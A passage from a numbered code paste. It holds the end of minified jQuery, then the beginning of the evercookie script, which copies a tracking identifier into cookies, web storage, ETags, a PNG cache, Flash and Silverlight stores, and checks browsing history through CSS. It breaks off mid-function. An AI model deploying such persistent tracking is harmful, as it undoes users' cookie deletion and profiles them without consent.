  750. b?by(a,"margin-right"):a.style.marginRight})}})}),f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var
  751. b=a.offsetWidth,c=a.offsetHeight;return
  752. b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)}),f.each({margin:"",padding:"",border:"Width"},function(a,b){f.cssHooks[a+b]={expand:function(c){var
  753. d,e=typeof c=="string"?c.split("
  754. "):[c],f={};for(d=0;d<4;d++)f[a+bx[d]+b]=e[d]||e[d-2]||e[0];return
  755. f}}});var bC=/%20/g,bD=/\[\]$/,bE=/\r?\n/g,bF=/#.*$/,bG=/^(.*?):[
  756. \t]*([^\r\n]*)\r?$/mg,bH=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bI=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bJ=/^(?:GET|HEAD)$/,bK=/^\/\//,bL=/\?/,bM=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,bN=/^(?:select|textarea)/i,bO=/\s+/,bP=/([?&])_=[^&]*/,bQ=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bR=f.fn.load,bS={},bT={},bU,bV,bW=["*/"]+["*"];try{bU=e.href}catch(bX){bU=c.createElement("a"),bU.href="",bU=bU.href}bV=bQ.exec(bU.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof
  757. a!="string"&&bR)return bR.apply(this,arguments);if(!this.length)return
  758. this;var e=a.indexOf(" ");if(e>=0){var
  759. g=a.slice(e,a.length);a=a.slice(0,e)}var
  760. h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof
  761. c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var
  762. i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return
  763. this},serialize:function(){return
  764. f.param(this.serializeArray())},serializeArray:function(){return
  765. this.map(function(){return
  766. this.elements?f.makeArray(this.elements):this}).filter(function(){return
  767. this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var
  768. c=f(this).val();return
  769. c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name
  770. ,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart
  771. ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split("
  772. "),function(a,b){f.fn[b]=function(a){return
  773. this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return
  774. f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return
  775. f.get(a,b,c,"script")},getJSON:function(a,b,c){return
  776. f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return
  777. a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded;
  778. charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml,
  779. text/xml",html:"text/html",text:"text/plain",json:"application/json,
  780. text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"*
  781. text":a.String,"text html":!0,"text json":f.parseJSON,"text
  782. xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function
  783. w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var
  784. o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else
  785. try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof
  786. a=="object"&&(c=a,a=b),c=c||{};var
  787. d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof
  788. f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once
  789. memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var
  790. c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return
  791. this},getAllResponseHeaders:function(){return
  792. s===2?n:null},getResponseHeader:function(a){var
  793. c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return
  794. c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return
  795. this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return
  796. this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var
  797. b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return
  798. this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof
  799. d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete
  800. d.data),k=d.url;if(d.cache===!1){var
  801. x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?",
  802. "+bW+"; q=0.01":""):d.accepts["*"]);for(u in
  803. d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u
  804. in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No
  805. Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else
  806. throw z}}return v},param:function(a,c){var
  807. d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(
  808. this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return
  809. d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var
  810. cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return
  811. f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var
  812. e=typeof
  813. b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var
  814. g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script
  815. json"]=function(){g||f.error(h+" was not called");return
  816. g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript,
  817. application/javascript, application/ecmascript,
  818. application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text
  819. script":function(a){f.globalEval(a);return
  820. a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var
  821. d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var
  822. ce=a.ActiveXObject?function(){for(var a in
  823. cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in
  824. a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var
  825. d;return{send:function(e,g){var
  826. h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j
  827. in
  828. c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j
  829. in
  830. e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var
  831. j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete
  832. cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var
  833. cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var
  834. d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var
  835. g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return
  836. this},hide:function(a,b,c){if(a||a===0)return
  837. this.animate(ct("hide",3),a,b,c);var
  838. d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return
  839. this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof
  840. a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var
  841. b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return
  842. this},fadeTo:function(a,b,c,d){return
  843. this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function
  844. g(){e.queue===!1&&f._mark(this);var
  845. b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i
  846. in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete
  847. a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete
  848. a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in
  849. a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return
  850. b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i
  851. in a)j=new
  852. f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var
  853. e=f.speed(b,c,d);if(f.isEmptyObject(a))return
  854. this.each(e.complete,[!1]);a=f.extend({},a);return
  855. e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof
  856. a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return
  857. this.each(function(){function h(a,b,c){var
  858. e=b[c];f.removeData(a,c,!0),e.stop(d)}var
  859. b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in
  860. g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else
  861. g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return
  862. this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof
  863. a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof
  864. d.duration=="number"?d.duration:d.duration in
  865. f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return
  866. d},easing:{linear:function(a){return
  867. a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return
  868. this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return
  869. isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function
  870. h(a){return e.step(a)}var
  871. e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var
  872. a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var
  873. b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b
  874. in
  875. i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b
  876. in
  877. i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var
  878. a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return
  879. f.grep(f.timers,function(b){return a===b.elem}).length});var
  880. cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in
  881. c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return
  882. d?{top:d.top,left:d.left}:{top:0,left:0};var
  883. g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var
  884. d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return
  885. a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var
  886. c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return
  887. f.offset.bodyOffset(c);return
  888. cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var
  889. b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var
  890. d=f.css(a,"position");d==="static"&&(a.style.position="relative");var
  891. e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in
  892. b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return
  893. null;var
  894. a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return
  895. this.map(function(){var
  896. a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return
  897. a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var
  898. d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var
  899. h=cy(a);if(g===b)return h?c in
  900. h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var
  901. d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var
  902. a=this[0];return
  903. a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var
  904. b=this[0];return
  905. b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return
  906. f.access(this,function(a,c,h){var
  907. i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return
  908. f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return
  909. i[d];return
  910. Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return
  911. f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof
  912. define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return
  913. f})})(window);
  914.  
  915. // Code Start here
  916. var _ec_history = 1; // CSS history knocking or not .. can be network
  917. // intensive
  918. var _ec_tests = 10;// 1000;
  919. var _ec_debug = 0;
  920.  
  921. function _ec_dump(arr, level) {
  922. var dumped_text = "";
  923. if (!level)
  924. level = 0;
  925.  
  926. // The padding given at the beginning of the line.
  927. var level_padding = "";
  928. for (var j = 0; j < level + 1; j++)
  929. level_padding += " ";
  930.  
  931. if (typeof (arr) == 'object') { // Array/Hashes/Objects
  932. for (var item in arr) {
  933. var value = arr[item];
  934.  
  935. if (typeof (value) == 'object') { // If it is an array,
  936. dumped_text += level_padding + "'" + item + "' ...\n";
  937. dumped_text += _ec_dump(value, level + 1);
  938. } else {
  939. dumped_text += level_padding + "'" + item + "' => \"" +
  940. value
  941. + "\"\n";
  942. }
  943. }
  944. } else { // Stings/Chars/Numbers etc.
  945. dumped_text = "===>" + arr + "<===(" + typeof (arr) + ")";
  946. }
  947. return dumped_text;
  948. }
  949.  
  950. function _ec_replace(str, key, value) {
  951. if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0) {
  952. // find start
  953. var idx = str.indexOf('&' + key + '=');
  954. if (idx == -1)
  955. idx = str.indexOf(key + '=');
  956.  
  957. // find end
  958. var end = str.indexOf('&', idx + 1);
  959. var newstr;
  960. if (end != -1)
  961. newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) +
  962. '&'
  963. + key + '=' + value;
  964. else
  965. newstr = str.substr(0, idx) + '&' + key + '=' + value;
  966.  
  967. return newstr;
  968. } else
  969. return str + '&' + key + '=' + value;
  970. }
  971.  
  972. // necessary for flash to communicate with js...
  973. // please implement a better way
  974. var _global_lso;
  975. function _evercookie_flash_var(cookie) {
  976. _global_lso = cookie;
  977.  
  978. // remove the flash object now
  979. var swf = $('#myswf');
  980. if (swf && swf.parentNode)
  981. swf.parentNode.removeChild(swf);
  982. }
  983.  
  984. var evercookie = (function () {
  985. this._class = function () {
  986.  
  987. var self = this;
  988. // private property
  989. _baseKeyStr =
  990. "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  991. this._ec = {};
  992. var no_color = -1;
  993.  
  994. this.get = function (name, cb, dont_reset) {
  995. $(document).ready(function () {
  996. self._evercookie(name, cb, undefined, undefined,
  997. dont_reset);
  998. });
  999. }
  1000.  
  1001. this.set = function (name, value) {
  1002. $(document).ready(function () {
  1003. self._evercookie(name, function () {
  1004. }, value);
  1005. });
  1006. }
  1007.  
  1008. this._evercookie = function (name, cb, value, i, dont_reset) {
  1009. if (typeof self._evercookie == 'undefined')
  1010. self = this;
  1011.  
  1012. if (typeof i == 'undefined')
  1013. i = 0;
  1014.  
  1015. // first run
  1016. if (i == 0) {
  1017. self.evercookie_database_storage(name, value);
  1018. self.evercookie_png(name, value);
  1019. self.evercookie_etag(name, value);
  1020. self.evercookie_cache(name, value);
  1021. self.evercookie_lso(name, value);
  1022. self.evercookie_silverlight(name, value);
  1023.  
  1024. self._ec.userData = self.evercookie_userdata(name, value);
  1025. self._ec.cookieData = self.evercookie_cookie(name, value);
  1026. self._ec.localData = self.evercookie_local_storage(name,
  1027. value);
  1028. self._ec.globalData = self.evercookie_global_storage(name,
  1029. value);
  1030. self._ec.sessionData = self.evercookie_session_storage(name,
  1031. value);
  1032. self._ec.windowData = self.evercookie_window(name, value);
  1033.  
  1034. if (_ec_history)
  1035. self._ec.historyData = self.evercookie_history(name,
  1036. value);
  1037. }
  1038.  
  1039. // when writing data, we need to make sure lso and silverlight
  1040. // object is there
  1041. if (typeof value != 'undefined') {
  1042. if (((typeof _global_lso == 'undefined') || (typeof
  1043. _global_isolated == 'undefined'))
  1044. && i++ < _ec_tests)
  1045. setTimeout(function () {
  1046. self._evercookie(name, cb, value, i, dont_reset)
  1047. }, 300);
  1048. }
  1049.  
  1050. // when reading data, we need to wait for swf, db,
  1051. silverlight and
  1052. // png
  1053. else {
  1054. if ((
  1055. // we support local db and haven't read data in yet
  1056. (window.openDatabase && typeof self._ec.dbData == 'undefined')
  1057. || (typeof _global_lso == 'undefined')
  1058. || (typeof self._ec.etagData == 'undefined')
  1059. || (typeof self._ec.cacheData == 'undefined')
  1060. || (document.createElement('canvas').getContext && (typeof
  1061. self._ec.pngData == 'undefined' || self._ec.pngData == '')) || (typeof
  1062. _global_isolated == 'undefined'))
  1063. && i++ < _ec_tests) {
  1064. setTimeout(function () {
  1065. self._evercookie(name, cb, value, i, dont_reset)
  1066. }, 300);
  1067. }
  1068.  
  1069. // we hit our max wait time or got all our data
  1070. else {
  1071. // get just the piece of data we need from swf
  1072. self._ec.lsoData = self.getFromStr(name, _global_lso);
  1073. _global_lso = undefined;
  1074.  
  1075. // get just the piece of data we need from silverlight
  1076. self._ec.slData = self.getFromStr(name,
  1077. _global_isolated);
  1078. _global_isolated = undefined;
  1079.  
  1080. var tmpec = self._ec;
  1081. self._ec = {};
  1082.  
  1083. // figure out which is the best candidate
  1084. var candidates = new Array();
  1085. var bestnum = 0;
  1086. var candidate;
  1087. for (var item in tmpec) {
